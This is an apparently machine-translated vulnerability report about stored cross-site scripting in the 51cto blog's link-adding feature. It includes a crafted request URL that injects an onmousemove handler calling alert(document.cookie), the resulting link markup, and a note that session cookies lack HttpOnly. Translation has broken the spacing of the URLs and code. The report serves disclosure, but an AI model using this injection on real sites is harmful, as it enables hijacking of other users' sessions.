You can obtain the cookie of the logged-on user if the 51cto blog links are filtered out.

Source: Internet
Author: User

You can obtain the cookie of the logged-on user if the 51cto blog links are filtered out.

The link filtering is not strict, so DOM structure injection can be performed. To inject Javascript attacks.
In addition, the important logon items of cookies are not protected by httponly, so that you can obtain logon sessions of other users.

Where the problem occurs. Add links
Http://dl528888.blog.51cto.com/mod/edit_flink.php? Type = addflink & uid = 1030776 & flink = www.iamle.com % 22% 20 onmousemove = % 22 alert (document. cookie) % 22
Get Parameters

Uid is the 51tco user ID

Flink is built as www.iamle.com % 22% 20 onmousemove = % 22 alert (document. cookie) % 22

The last generated dom structure is



<A href = "http://www.iamle.com" onmousemove = "alert (document. cookie)" "=" "title =" Fengyun, it's her. "Target =" _ blank "> Fengyun. </A>
When you place the cursor over this link, a cookie is displayed.
Sensitive cookies are not protected by httponly and can be directly obtained.
You can catch login sessions of other users to get the background information of other users.

Add links


Http://dl528888.blog.51cto.com/mod/edit_flink.php? Type = addflink & uid = 1030776 & flink = www.bkjia.com % 22% 20 onmousemove = % 22 alert (document. cookie) % 22

Add and view the dom Structure

Http://300421.blog.51cto.com/



Successful exploitation allows you to execute arbitrary js

All cookies are found to have no http only, and the log-on session is not protected.

Urgent vulnerability repair solution:

Strictly filter URLs

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.